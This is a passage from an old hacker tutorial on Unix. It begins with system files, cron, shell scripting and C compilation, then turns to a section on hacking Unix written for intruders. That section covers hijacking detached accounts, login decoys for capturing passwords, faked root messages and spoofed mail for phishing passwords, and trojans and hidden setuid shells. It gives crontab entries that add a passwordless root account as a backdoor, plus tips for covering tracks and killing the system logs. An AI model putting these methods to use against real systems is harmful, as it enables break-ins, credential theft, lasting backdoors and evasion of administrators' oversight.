                passwd (to change the password), the system will form a 2
                character "salt string" based on the process number of the 
                password command you just issued. This 2-character string pro-
                duces a slight change in the way the password is encrypted.
                There are a total of 4096 different variations on the
                encryption scheme caused by different salt string characters.
                This is NOT the same encryption scheme used by the crypt
                utility. The password is NEVER decrypted on the system. When
                you log on, the password you enter at the password prompt is
                encrypted (the salt string is taken from the password file)
                and compared to the encrypted entry in the password file. The
                system generates its own key, and as of yet, I have not
                discovered any way to get the key. The login program does
                not encrypt the password you enter itself, it does so, I 
                believe, by a system call.

/etc/group      -This is the group file. This allows the superuser to give
                certain accounts group access to groups other than their own.
                Entries are in the format:
               group name:password:group number:users in this group

                The first field is the name of the group. The second is the
                field for the group password. In all my experience with Unix,
                I have never seen the password feature used. The third is the
                group's number. The fourth field is a list of the users who
                group access to this group. (Note: this can include users whose
                group number is different from the number of the group whose
                entry you are reading in the group file.) The usernames are
                separated by commas. Here's an example:


                To change to a new group identity, type "newgrp [group]". If
                the group has a password, you must enter the proper password.
                You cannot change to another group if you are not listed as a
                member of that group in the group file.

/dev/console    -This is the device file for the system console, or the
                system's main terminal.

/dev/tty##      -The device files for the system's terminals are usually in
                the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc.
                Some ways to make use of the Unix system's treatment of devices
                as files will be explored in the section on Hacking Unix. When
                these files are not in use by a user (in other words, no one's
                logged onto this terminal), the file is owned by root. While a
                user is logged onto a terminal, however, ownership of its 
                device file is temporarily transferred to that account.

/dev/dk##       -These are the device files for the system's disks.

login files     -There are special files that are in a user's home directory
                that contain commands that are executed when the user logs in.
                The name of the file depends on what shell the user is using.
                Here are the names of the files for the various shells:
                Shell           File
                -----           ----
                sh              .profile
                csh             .cshrc
                ksh             .login
                rsh             .profile

                Some systems also use a file called ".logout" that contains
                commands which are executed upon logoff.
                        These types of files are called shell scripts, and will
                will be explained in the section on Unix Software Development's
                explanation of shell programming.
/usr/adm/sulog  -This is a log of all attempted uses of the su utility. It
                shows when the attempt was made, what account made it, and
                which account the user attempted to assume, and whether or not
                the attempt was successful.
/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This
                only includes the time and the account's username.

mbox            -These are files in the home directories of the system's users,
                that contain all the mail messages that they have saved.

/usr/mail/<user>        -These files in the directory /usr/mail are named after
                        system accounts. They contain all the unread mail for
                        the account they are named after.
/dev/null       -This is the null device file. Anything written to this file is
                just lost forever. Any attempt to read this file will result in
                an immediate control-D (end of file) character.
/tmp    -The directory /tmp provides storage space for temporary files created
        by programs and other processes. This directory will always have
        rwxrwxrwx permissions. Examining these files occasionally reveals some
        interesting information, and if you know what program generates them
        and the format of the information in the file, you could easily change
        the info in the files, thereby changing the outcome of the program.

        An understanding of the cron utilities will be necessary to understand 
certain parts of the section on Hacking Unix. This section will give a detailed 
explanation of the workings of the cron utilities.
        The cron utility is a utility which carries out tasks which must be
performed on a periodic basis. These tasks, and the times when they are to be 
carried out, are kept in files in 2 directories: /usr/lib and 
        The file crontab in the directory /usr/lib contains entries for system 
tasks that must be performed on a periodic basis. The format for the entries in 
this file is:

minute hour dayofmonth  monthofyear  dayofweek commandstring

The first field is the minutes field. This is a value from 0-59.
The second field is the hour field, a value from 0-23.
The third field is the day of the month, a value from 1-31.
The fifth field is the month of the year, a value from 1-2.
The sixth field is the day of the week, a value from 1-7, with monday being 1.
The seventh field is the pathname and any arguments of the task to be carried 

An asterisk in a field means to carry out the task for every value of that 
field. For instance, an asterisk in the minutes field would mean to carry out 
that task every minute. Here's an example crontab entry:

0 1 * * *  /bin/sync

This runs sync command, which is kept in the directory bin, at 1 am every day.
Commands in the file /usr/lib/crontab are performed with root privileges.
        in the directory /usr/spool/crontabs, you will find files named after 
system accounts. These files contain cron entries which are the same as those 
in the file /usr/lib/crontab, but are carried out under the id of the user the 
file is named after. The entries are in the same format.

BEWARE! When modifying cron files- cron activity is logged! All cron activity 
is logged in the file /usr/adm/cronlog. I've found, however, that on most 
systems, this file is almost never checked.

        The Unix operating system was initially created as an enviroment for 
software development, and that remains its main use. This section will detail 
some of the os's main facilities for software development, the C compiler and 
shell programming, and their related utilities. A few of the other languages 
will be briefly touched upon at the end of this section, also.

        The shell is more than a simple command interpreter. It is also a 
sophisticated programming tool, with variables, control structures, and the 
features of just about any other programming language. Shell programs are 
called scripts. Scripts are just text files which contain the names of commands 
and programs. When the script is executed, the command and programs whose names 
it contains are executed as if you had typed in their names from your keyboard. 
There are two ways to execute a shell script: if you have execute permission to 
it, you can simply type in its name. Otherwise, (if you have read access to 
it), you can type "sh [filename]". Here is a sample shell script:


As you can see, it contains the commands who and whoami. When you execute it, 
you will see a list of the system's current users (the output of the who 
command), and which account you are logged in under (the output of the whoami 
        This will concentrate solely on shell programming. While shell 
programming is essentially the same with all the shells, there are slight 
syntax differences that make shell scripts incompatible with shells that they 
were not specifically written for.

        Like any programming language, the shell can handle variables. To set 
the value of a variable, type:


For example:


This will assign the value "1" to the variable counter. If the variable counter 
does not already exist, the shell will create it. Note, that there are no 
"numeric" variables in shell programming- all the variables are strings. For 
instance, we could later type:

counter=This is a string

And counter would now be equal to "This is a string". There is a command called 
"expr", however, that will let you treat a variable as a numeric value, and 
will be explained later.
        When setting the value of a variable, you only use the variable name. 
When you specify a variable as an argument to a command or program, however, 
you must precede the variable with a dollar sign. For instance:


Now, we want to specify user as an argument to the command "ps -u". We would 

ps -u$user

Which would, of course, display the processes of the user "root".

        There are certain vaiables which are already pre-defined by the shell, 
and have special meaning to it. Here is a list of the more important ones and 
their meanings to the shell:

HOME    -(Notice the caps. All pre-defined variables are in all-caps.) This
        variable contains the pathname of the user's home directory.

PATH    -This is a good time to explain something which makes Unix a very
        unique operating system. In Unix, there are no commands "built-in" to
        the operating system. All the commands are just regular programs. The
        PATH variable contains a list of the pathnames of directories. When you
        type in the name of a command or program, the shell searches through
        the directories listed in the PATH variable (in the order specified in
        the variable) until it finds a program with the same name as the name
        you just typed in. The format for the list of directories in the PATH
        variable is:

        For example, the default searchpath is usually:


        A blank entry in the pathname, or an entry for ".", means to check the
        directory the user is currently in. For instance, all these paths
        contain blank or "." entries:

        .:/bin:/usr/bin         [Notice . at begginning of path]
        :/bin:/usr/bin          [Notice that path begins with :]
        /bin:/usr/bin:          [Note that path ends with :    ]

PS1     -This variable contains the shell prompt string. The default is usually
        "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and
        wish to have the dollar sign prompt instead, just type:


TERM    -This contains the type of terminal you are using. Common terminal
        types are:
        ansi    vt100   vt52    vt200   ascii   tv150

        And etc... Just type "TERM=[termtype]" to set your terminal type.

        Command line variables are variables whose values are set to arguments 
entered on the command line when you execute the shell script. For instance, 
here is a sample shell script called "repeat" that uses command line variables:

echo $1
echo $2
echo $3

The echo command prints out the values following it. In this case, it will 
print out the values of the variables $1, $2, and $3. These are the command 
line variables. For instance, $1 contains the value of the first argument you 
entered on the command line, $2 contains the second, $3 contains the third, an 
so on to infinity. Now, execute the script:

repeat apples pears peaches

The output from the "repeat" shell script would be:


Get the idea?

        There are 2 special command line variables, $O and $#. $O contains the 
name of command you typed in (in the last example, $O would be repeat). $# 
contains the number of arguments in the command line. (In the last example, $# 
would be 3.)

        These commands were added to the Unix os especially for shell 
programming. This section will list them, their syntax, and their uses.

read    -This command reads the value of a variable from the terminal. The
        format is: "read [variable]". For example, "read number". The variable
        is not preceded by a dollar sign when used as an argument to this com-

echo    -This command displays information on the screen. For example,
        "echo hello" would display "hello" on your terminal. If you specify
        a variable as an argument, it must be preceded by a dollar sign, for
        example "echo $greeting".

trap    -This command traps certain events, such as the user being disconnected
        or pressing the break key, and tells what commands to carry out if they
        occur. The format is: trap "commands" eventcodes. the event codes are:
        2 for break key, and 1 for disconnect. You can specify multiple com-
        mands with the quotation marks, separating the commands with a semi-
        colon (";"). For example:

        trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2

        Would echo "Hey stupid!" and "Don't hit the break key" if the user hits
        the break key while the shell script is being executed.

exit    -This command terminates the execution of a shell procedure, and ret-
        urns a diagnostic value to the enviroment. The format is:
        "exit [value]", where value is 0 for true and 1 for false. The meaning
        of the value parameter will become clear later, in the section on
        the shell's provisions for conditional execution. If the shell script
        being executed is being executed by another shell script, control is
        passed to the next highest shell script.

        The expr command allows you to perform arithmetic on the shell 
variables, and sends the output to the screen. (Though the output may be 
redirected.) The format is:

expr [arg] [function] [arg] [function] [arg]...

Where [arg] may be either a value, or a variable (preceded by a dollar sign), 
and [function] is an arithmetic operation, one of the following:

+       -Add.
-       -Subtract.
\*      -Multiply.
/       -Divide.
%       -Remainder from a division operation.

For example:

$ num1=3
$ num2=5
$ expr num1 + num2

        The sort command sorts text by ASCII or numeric value. The command 
format is:

sort [field][option]... file

where file is the file you wish to sort. (The sort command's input may be 
redirected, though, just as its output, which is ordinarily to the screen, can 
be.) The sort command sorts by the file's fields. If you don't specify any 
specific field, the first field is assumed. for example, say this file 
contained names and test scores:

Billy Bob       10
Tom McKann      5
Doobie Kairful  20

the file's fields would be first name, last name, and score. So, to sort the 
above file (called "students") by first name, you would issue the command:

sort students

And you would see:

Billy Bob       10
Doobie Kairful  20
Tom McKann      5

If you wanted to sort the file's entries by another field, say the second field 
of the file "students" (last names), you would specify:

sort +1 students

The +1 means to skip ahead one field and then begin sorting. Now, say we wanted 
to sort the file by the 3rd field (scores). We would type:

sort +2 students

to skip 2 fields. But the output would be:

Billy Bob       10
Tom McKann      5
Doobie Kairful  20

Notice that the shorter names came first, regardless of the numbers in the 
second field. There is a reason for this- the spaces between the second and 3rd 
fields are considered to be part of the 3rd field. You can tell the sort 
command to ignore spaces when sorting a field, however, using the b option. The 
format would be:

sort +2b students

but...another error! The output would be:

Billy Bob       10
Doobie Kairful  20
Tom McKann      5

Why did the value 5 come after 10 and 20? Because the sort command wasn't 
really sorting by numeric value- it was sorting by the ASCII values of the 
characters in the third field, and 5 comes after the digits 1 and 2. We could 
specify that the field be treated by its numerical value by specifying the n 

sort +2n students


Tom McKann      5
Billy Bob       10
Doobie Kairful  20

Notice that if we use the n option, blanks are automatically ignored.

We can also specify that sort work in the reverse order on a field. For 
example, if we wanted to sort by last names in reverse order:

sort +1r students


Tom McKann      5
Doobie Kairful  20
Billy Bob       10

By using pipes, you can direct the output of one sort command to the input of 
yet another sort command, thus allowing you to sort a file by more than one 
field. This makes sort an excellent tool for text manipulation. It is not, 
however, the only one. Remember, you can use any Unix command or program in a 
shell script, and there are many different commands for text manipulation in 
Unix, such as grep (described in an earlier section on basic commands). 
Experiment with the different commands and ways of using them.

        The for/do loop is a simple way to repeat a step for a certain number 
of times. The format is:

for [variable] in [values]
do [commands]

You do not precede the variable with a dollar sign in this command. The for/do 
loop works by assigning the variable values from the list of values given, one 
at a time. For example:

for loopvar in 1 2 3 5 6 7
do echo $loopvar

On the first pass of the loop, loopvar would be assigned the value 1, on the 
second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, 
and on the sixth pass 7. I skipped the number 4 to show that you do not have to 
use values in numerical order. In fact, you don't have to use numerical 
arguments. You could just as easily have assigned loopvar a string value:

for loopvar in apples peaches pears
do echo "This pass's fruit is:"
   echo $loopvar

Note that you can also specify multiple commands to be carried out in the do 
portion of the loop.

        The case command allows you to execute commands based on the value of a 
variable. The format is:

case [variable] in

        [value])        commands
       [value2])        commands
       [value3])        ...and so on

For example:

case $choice in
        1)      echo "You have chosen option one."
                echo "This is not a good choice.";;

        2)      echo "Option 2 is a good choice.";;

        *)      echo "Invalid option.";;

Now, to explain that:
        If the variable choice's value is "1", the commands in the section for 
the value 1 are carried out until a pair of semicolons (";;") is found. The 
same if the value of choice is "2". Now, note the last entry, "*". This is a 
wildcard character. This means to execute the commands in this section for any 
other value of choice. Easac signals the end of the list of execution options 
for case.

        The test command tests for various conditions of files and variables 
and returns either a true value (0) or a false value (1), which is used in 
conjuction with the if/then statements to determine whether or not a series of 
commands are executed. There are several different formats for test, depending 
on what kind of condition you are testing for. When using variables with test, 
you must always precede the variable with a dollar sign.

test [arg1] option [arg2]

the arguments can either be numbers or variables.

-------         -------------
-eq             arg1=arg2
-ne             arg1<>arg2
-gt             arg1>arg2
-lt             arg1<arg2
-ge             arg1>=arg2
-le             arg1<=arg2

test [option] file or directory name

-------         -------------
-s              file or directory exists and is not empty
-f              the "file" is a file and not a directory
-d              the "file" is really a directory
-w              the user has write permission to the file/directory
-r              the user has read permission to the file/directory

test [arg1] option [arg2]
The arguments can be either strings of characters or variables with character 
string values.

-------         -------------
=               arg1=arg2
!=              arg<>arg2

A note here about string tests. You must enclose the names of the variables in 
quotation marks (like "$arg1") if you wish the test to take into consideration 
spaces, otherwise space characters are ignored, and "    blue" would be 
considered the same as "blue".

test [option] arg
Arg is a variable.

-------         -------------
-z              variable has a length of 0
-n              variable has a length greater than 0

        These options stand for "and" (-a) and "or" (-o). They allow you to 
combine tests, for example:

test arg1 = arg2 -o arg1 = arg3

means that a true condition is returned if arg1=arg2 or arg1=arg3.

if [this condition is true]
then [do these commands]


if test arg1 = arg2
then echo "argument 1 is the same as argument 2"

This is pretty much self-explanatory. If the condition test on the if line 
returns a true value, the the commands following "then" are carried out until 
the fi statement is encountered.

if [this condition is true]
then [do these commands]
else [do these commands]

Again, pretty much self explanatory. The same as the above, except that if the 
condition isn't true, the commands following else are carried out, until fi is 

if [this condition is true]
then [do these commands]
elif [this condition is true]
then [do these commands]

The elif command executes another condition test if the first condition test is 
false, and if the elif's condition test returns a true value, the command for 
its then statement are then carried out. Stands for "else if".

while [this condition is true]
then [do these commands]

Repeats the commands following "then" for as long as the condition following 
"while" is true. Example:

while test $looper != "q"
then read looper
     echo $looper

while will read the value of the variable looper from the keyboard and display 
it on the screen, and ends if the value of looper is "q".

        This small tutorial by no means is a complete guide to shell 
programming. Look at shell scripts on the systems you crack and follow their 
examples. Remember, that you can accomplish a great deal by combining the 
various control structures (such as having an if/then conditional structure 
call up a while/do loop if the condition is true, etc.) and by using I/O 
redirection, pipes, etc. My next Unix file will cover more advanced shell 
programming, and examine shell programming on another popular shell, the 
Berkely C shell.

        C is sort of the "official" language of Unix. Most of the Unix 
operating system was written in C, and just about every system I've ever been 
on had the C compiler. The command to invoke the c compiler is cc. The format 
is "cc [filename]", where filename is the name of the file which contains the 
source code. (The filename must end in .c) You can create the source code file 
with any of the system's text editors. The include files, stdio.h and others, 
are kept in a directory on the system. You do not have to have a copy of 
these files in your current directory when you compile the file, the compiler 
will search this directory for them. If you wish to include any files not in 
the include library, they must be in your current directory. The compiled 
output will be a file called "a.out" in your current directory.

        If you're working on a very large program, you will probably want to 
break it up into small modules. You compile the individual modules with the -c 
option, which only generates the object files for the module. Then, use the 
link editor to combine and compile the object files. The object files will be 
generated with the same name as the source files, but the file extension will 
be changed from .c to .o   When you have created all the object files for all 
of the modules, combine them with the ld (link editor) like this:

ld /lib/crtO.o [module] [module]... -lc

which will give you the final, compiled program, in a file named a.out. For 

ld /lib/crtO.o part1.o part2.o -lc

You must remeber to include /lib/crtO.o and the -lc parts in the command, in 
the order shown. Also, the object files must be specified in the ld command 
in the order that they must be in the program (for instance, if part1 called 
part2, part2 can't be BEFORE part1).

        The lint command checks for errors and incompatibility errors in C 
source code. Type "lint [c source-code file]". Not all of the messages returned 
by lint are errors which will prevent the program from compiling or executing 
properly. As stated, it will report lines of code which may not be 
transportable to other Unix systems, unused variables, etc.

        The cb (C beautifier) program formats C source code in an easy to read, 
"pretty" style. The format is "cb [file]". The output is to the screen, so if 
you want to put the formatted source code into a file, you must redirect the 

        The Unix C compiler has a command called system that executes Unix 
commands and programs as if you had typed in the commands from the keyboard. 
The format is:

system("command line")

Where command line is any command line you can execute from the shell, such as:

system("cat /etc/passwd")

Another command which performs a similar function is execvp. The format is:


An interesting trick is to execute a shell program using execvp. This will make 
the program function as a shell.

        This is it, kiddies, the one you've waded through all that rodent 
nonsense for! This section will describe advanced hacking techniques. Most of 
these techniques are methods of defeating internal security (I.E. security once 
you're actually inside the system). There is little to be said on the subject 
of hacking into the system itself that hasn't already been said in the earlier 
sections on logging in, Unix accounts, and Unix passwords. I will say this 
much- it's easier, and faster, to password hack your way from outside the 
system into a user account. Once you're actually inside the system, you will 
find it, using the techniques described in this section, almost easy to gain 
superuser access on most systems. (Not to mention that nothing is quite as 
rewarding as spending 3 days hacking the root account on a system, only to 
receive the message "not on console-disconnecting" when you finally find the 
proper password.) If you do not have a good understanding of the Unix operating 
system and some of its more important utilities already, you should read the 
earlier parts of this file before going on to this section.

        The rsh (restricted Bourne shell) shell attempts to limit the commands 
available to a user by preventing him from executing commands outside of his 
searchpath, and preventing him from changing directories. It also prevents you 
from changing the value of shell variables directly (i.e. typing 
"variable=value"). There are some easy ways to overcome these restrictions.
        You can reference any file and directory in the system by simply using 
its full pathname. You can't change directories like this, or execute a file
that is outside of your searchpath, but you can do such things as list out the 
contents of directories, edit files in other directories, etc. (If you have 
access to the necessary commands.)
        The biggest flaw in rsh security is that the restrictions that are 
described above ignored when the account's profile file is executed upon logon. 
This means that, if you have access to the edit command, or some other means of 
modifying your account's profile, you can add a line to add a directory to your 
searchpath, thereby letting you execute any programs in that directory. The 
restriction on changing directories is also ignored during logon execution of 
the profile. So, if you absolutely, positively HAVE to go to another directory, 
you can add a cd command your .profile file.

        This is a simple trick. If you have read access t a file, but cannot 
copy it because of directory protections, simply redirect the output of the cat 
command into another file. If you have write access to a directory but not 
write access to a specific file, you can create a copy of the file, modify it 
(since it will be owned by your account), delete the original, and rename the 
copy to the name of the original.

        This is a big security hole in many Unix systems. Occasionally, if a 
user is disconnected without logging off, his account may remain on-line, and 
still attached to the tty he was connected to the system through. Now, if 
someone calls to the system and and gets connected to that tty, he is 
automatically inside the system, inside the disconnected user's account. There 
are some interesting ways to take advantage of this flaw. For instance, if you 
desire to gain the passwords to more account, you can set a decoy program up to 
fake the login sequence, execute the program, and then disconnect from the 
system. Soon, some unlucky user will call the system and be switched into the 
detached account's tty. When they enter their username and password, the decoy 
will store their input in a file on the system, display the message "login 
incorrect", and then kill the detached account's shell process, thus placing 
the user at the real login prompt. A Unix decoy written by Shooting Shark will 
be given at the end of this file.

        When the uid bit is set on a shell program, executing this shell will 
change your user id to the user id of the account that owns the shell file, and 
you will have full use of that account, until you press control-d (ending the 
second shell process) and return to your normal user id. This gives you the 
power to execute any commands under that account's user id. This is better than 
knowing the account's password, since as long as the file remains on the 
system, you can continue to make use of that account, even if the password is 
changed. When I gain control of an account, I usually make a copy of the shell 
while logged in under that account in a nice, out of the way directory, and set 
its uid and gid bits. That way, if I should happen to lose the account (for 
instance, if the password were changed), I could log in under another account 
and still make use of the lost account by executing the uid shell.

        This is an easy means of gaining the use of an account on systems with 
the detached account flaw. Usually, most terminal device files will have public 
write permission, so that the user that logs in under it can receive messages 
via write (unless he turns off messages with the mesg n command). This means 
that you can cat a file into the user's terminal device file. A compiled file, 
full of all kinds of strange control characters and garbage, works nicely. Say, 
the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user 
will see something like this on his screen:

LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd 
2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b    v856    -868vcf-56-

Hehehe! Now, the poor devil is confused. He tries to press break- no response, 
and the garbage just keeps coming. He tries to enter various commands, to no 
avail. Catting a file into his terminal device file "ties it up", so to speak, 
and since this is the file through which all I/O with his terminal is done, he 
finds it almost impossible to get any input through to the shell. He can't even 
log off! So, in desperation, he disconnects... It is best to execute the cat 
command as a background process, so that you can keep an eye on the users on 
the system. Usually, the user will call the system back and, unless he gets 
switched back into his old detached account (in which case he will usually hang 
up again), he will kill the detached account's login process. So, if you see 2 
users on the system using the same username, you know he's logged back in 
already. Anyways...after an appropriate length of time, and you feel that he's 
disconnected, log off and call the system back a few times until you get 
switched into the detached account. Then just create a uid shell owned by the 
account and you can use it any time you please, even though you don'tknow the 
password. Just remember one thing, though-when the cat command has finished 
displaying the compiled file on the victim's screen, if he is still logged on 
to that terminal, he will regain control. Use a long file!

        Being able to write to other people's terminal files also makes it 
possible to fake write messages from any user on the system. For example, you 
wish to fake a message from root. Edit a file to contain these lines:
Message from root console ^g [note control-g (bell) character]
Bill, change your password to "commie" before logging off today. There has been 
a security leak.
<EOF>  [don't forget to put this-<EOF>-in the file.]
Now, type "who" to find bill's tty device, and type:

cat [filename] > /dev/ttyxx

Bill will see:

Message from root console [beep!]
Bill, change your password to "commie" before logging off today. There has been 
a security leak.

        Unix checks file permissions every time you issue a write or execute 
command to a file. It only checks read permissions, however, when you first 
issue the read command. For instance, if you issued the command to cat the 
contents of a file, and someone changed the file's permissions so that you did 
not have read permission while the process was still being executed, the cat 
command would continue as normal.

        You can also, if you have some means of assuming an account's userid, 
(such as having a uid shell for that account), you can read the contents of 
someone's terminal on-line. Just execute the uid shell and type "cat 
/dev/ttyxx &" (which will execute the cat command in the background, which will 
still display the contents to your screen, but will also allow you to enter 
commands). Once the person logs off, ownership of his terminal device file will 
revert to root (terminal device files are temporarily owned by the account 
logged in under them), but since you had the proper permissions when you 
started the read process, you can still continue to view the contents of that 
terminal file, and can watch, online, as the next use logs in. There is also 
one other trick that can sometimes be used to gain the root password, but 
should be exercised as a last resort, since it involved revealing your identity 
as a hacker to the superuser. On many systems, the superuser also has a normal 
user account that he uses for personal business, and only uses the root account 
for system management purposes. (This is, actually, a rather smart security 
move, as it lessens the chances of, say, things like his executing a trojan 
horse program while under the root account, which, to say the least, could be 
disastrous [from his point of view].) If you can obtain a uid shell for his 
user account, simply execute a read process of his terminal file in the 
background (while under the uid shell), and then drop back into your normal 
shell. Then send him a write message like:

I'm going to format your winchesters

When he uses the su command to go to the superuser account to kick you off the 
system, you can sit back and watch him type in the root password. (This should 
only be done if you have more than one account on the system- remember, many 
systems will not let you log into a superuser account remotely, and if the only 
account you have is a superuser account, you are effectively locked out of the 

        The TCP/IP protocol is a common protocol for file transfers between 
Unix systems, and between Unix and other operating systems. If the Unix system 
you are on features TCP/IP file transfers, it will have the telnet program on-
line, usually in the directory /bin.  This can be used to fake mail from any 
user on the system. Type "telnet" to execute the telnet program. You should 


At this prompt, type "open [name] 25", where name is the uucp network name of 
the system you are on. This will connect you to the system's 25th port, used to 
receive network mail. Once connected, type:

rcpt to: [username]

Where username is the name of the user you wish to send mail to. Next, type:

mail from: [user]

Where user is the name of the use you wish the mail to appear from. You can 
also specify a non-existant user. You can also fake network mail from a user on 
another system. For information on the format of the address, see the section 
on the uucp facilities. Then type:


You will be prompted to enter the message. Enter "." on a blank line to end and 
send the mail. When you'e finished sending mail, type "quit" to exit.

        Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit 
of information.

        This is an old, OLD subject, and there's little original material to 
add about it. Trojan horses are programs that appear to execute one function, 
but actually perform another. This is perhaps the most common means of hacking 
        One of the easiest means of setting up a Unix trojan horse is to place 
a program named after a system command, such as ls, "in the way" of someone's 
search path. For instance, if a user's searchpath is ".:/usr/bin", which means 
that the system searches the user's current directory for a command first, you 
could place a shell script in the user's home directory called "ls" that, when 
executed, created a copy of the shell, set the new shell file's uid and gid 
bits, echo an error message (such as "lsa: not found", leading the user to 
think he mistyped the command and the offending character was not echoed, due 
to line noise or whatever), and delete itself. When the user executes the ls 
command in his directory, the uid shell is created. Another good idea is to set 
the name of the trojan to a command in the user's login file, have it make the 
uid shell, execute the real command, and then delete itself.
        Another good way to set up a trojan horse is to include a few lines in 
a user's login file. Simply look at the user's password file entry to find out 
which shell he logs in under, and then modify the appropriate login file (or 
create one if it doesn't exist) to create a uid shell when the user logs on.
        If you can modify a user's file in the directory 
/usr/spool/cron/crontabs, you can add an entry to create a uid shell. Just 
specify * * * * * as the times, and wait about 1-2 minutes. In 1 minute, the 
cron utility will execute the commands in the user's crontab file. Then you can 
delete the entry. Again, if the user doesn't have a file in 
/usr/spool/cron/crontabs, you can create one.
        One last note- be sure you give the trojan horse execute permissionsm, 
otherwise the victim will receive the message "[filename]- cannot execute"... 
Kind of a dead giveaway.
        If you have write access to a uid file, you can easily modify it to 
become a shell. First, copy the file. Then type:

cat /bin/sh > [uid file]

This will replace the file's contents with a shell program, but the uid bit 
will remain set. Then execute the file and create a well-hidden uid shell, and 
replace the subverted uid file with the copy.

        To add an account to a Unix system, you must have write access to the 
password file, or access to the root account so that you can change the 
password file's protections. To add an account, simply edit the file with the 
text file editor, edit (or any of the other Unix editors, if you wish). Add an
entry like this:

[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell]

Notice that the password field is left blank. To set the password, type:

passwd [username]

You will then be prompted to enter and verify a password for the account.
If you wish the account to have superuser privileges, it must have a user 
number of zero.
        A backdoor is a means of by-passing a system's normal security for 
keeping unauthorized users out. For all the talk about back doors, they are 
rarely accomplished. But creating a backdoor in Unix System V is really quite 
easy. It simply requires adding a few entries to the file 
/usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the file doesn't 
exist, you can create it.) Add these lines, which will create 2 accounts on the
system, one a user account ("prop") and one a superuser account ("prop2"), at
1 am system time every night, and delete them at 2 am every night.

0 1 * * * chmod +w /etc/passwd
1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd
2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd
20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p
0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd
10 2 * * * chmod -w /etc/passwd
15 2 * * * rm /usr/spool/uucppublic/.p

        Naturally, you want to keep your cover, and not leave any trace that 
there is a hacker on the system. This section will give you some tips on how to 
do just that. First of all, the Unix system keeps track of when a file was last 
modified (see the information on the command ls -l in the section on file and 
directory protections). You don't want anyone noticing that a file has been 
tampered with recently, so after screwing around with a file, if at all 
possible, you should return its last modified date to its previous value using 
the touch command. The syntax for the touch command is:

touch hhmmMMdd [file]

Where hh is the hour, mm is the minute, MM is the month, and dd is the day. 
[file] is the name of the file you wish to change the date on.
        What usually gives hackers away are files they create on a system. If 
you must create files and directories, make use of the hidden files feature. 
Also, try to hide them in directories that are rarely "ls"'d, such as 
/usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose contents 
are rarely tampered with).
        Avoid use of the mail facilities, as anyone with the proper access can 
read the /usr/mail files. If you must send mail to another hacker on the 
system, write the message into a text file first, and encrypt it. Then mail it 
to the recipient, who can save the message without the mail header using the w 
option, and decrypt it.
        Rather than adding additional superuser accounts to a system, I've 
found it better to add simple user accounts (which don't stand out quite as 
much) and use a root uid shell (judiciously hidden in a rarely used directory) 
whenever I need superuser privileges. It's best to use a user account as much 
as possible, and only go to the superuser account whenever you absolutely need 
superuser priv's. This may prevent damaging accidents. And be careful when 
creating a home directory for any accounts you add. I've always found it better 
to use existing directories, or to add a hidden subdirectory to a little-
tampered with directory.

        Many systems have "watchdog" programs which log off inactive accounts 
after a certain period of time. These programs usually keep logs of this kind 
of activityl. Avoid sitting on the sitting doing nothing for long periods of 
        While using some of the methods described in this file, you may replace 
a user's file with a modified copy. This copy will be owned by your account and 
group instead of the account which owned the original. You can change the group 
back to the original owner's group with the chgrp command, the format of which 

chgrp [groupname] [file]

And change the owner back to the original with the chown command:

chown [user] [file]

        When you change ownership or group ownership of a file, the uid and gid 
bits respectively are reset, so you can't copy the shell, set its uid bit, and 
change its owner to root to gain superuser capabilities.
        Above all, just be careful and watch your step! Unix is a very flexible 
operating system, and even though it comes equipped with very little in the way 
of accounting, it is easy to add your own security features to it. If you do 
something wrong, such as attempting to log in under a superuser account 
remotely only to see "not on console-goodbye", assume that a note is made of 
the incident somewhere on the system. Never assume that something [anything!] 
won't be noticed. And leave the system and its files exactly as you found them. 
In short, just use a little common sense.
        If you're a real klutze, you can turn off the error logging (if you 
have root capabilities). I will include information on System V error logging, 
which most Unix clones will have error logging facilities similar to, and on 
Berkely Standard Distribution (BSD) Unix error logging.

Type "cat /etc/". This file contains the 
process number of the syslog (error logging) program. Kill this process, and 
you stop the error logging. Remember to start the logging process back up after 
you're through stumbling around. 
        If you want to see where the error messages are sent, type:

cat /etc/syslog.config

Entries are in the form:


Such as:


The number is the priority of the error, and the file is the file that errors 
of that priority or higher are logged to. If you see an entry with /dev/console 
as its log file, watch out! Errors of that priority will result in an error 
message being displayed on the system console. Sometimes, a list of usernames 
will follow an entry for errorlogging. This means that these users will be 
notified of any priorities of that level or higher.
There are 9 levels of priority to errors, and an estimation of their 

9       -Lowly errors. This information is just unimportant junk used to debug
        small errors in the system operation that usually won't affect its
        performance. Usually discarded without a glance.

8       -Usually just thrown away. These messages provide information on the
        system's operation, but nothing particularly useful.

7       -Not greatly important, but stored for informational purposes.

6       -System errors which can be recovered from.

5       -This is the priority generally given to errors caused by hackers-
        not errors, but important information, such as security violatins:
        bad login and su attempts, attempts to access files without proper
        permissions, etc.

4       -Errors of higher priority than 6.

3       -Major hardware and software errors.

2       -An error that requires immediate attention...very serious.

1       -***<<<(((CRAAASSSHHH!!!)))>>>***-

        System V error logging is relatively simple compared to Berkely Unix 
error logging. The System V error logging program is errdemon. To find the 
process id of the error logging program, type "ps -uroot". This will give you a 
list of all the processes run under the root id. You will find /etc/errdemon 
somewhere in the list. Kill the process, and no more error logging. The 
errdemon program is not as sophisticated as BSD Unix's syslog program: it only 
logs all errors into a file (the default file is /usr/adm/errfile, but another 
file can be specified as an argument to the program when it is started). 
Errdemon does not analyze the errors as syslog does, it simply takes them from 
a special device file called /dev/error and dumps them into the error logging 
file. If you wish to examine the error report, use the errpt program, which 
creates a report of the errors in the error logging file and prints it out on 
the stanard output. The format is: errpt [option] [error logging file]. For a 
complete report of all errors, use the -a option:

errpt -a /usr/adm/errfile

The output is very technical, however, and not of much use to the hacker.

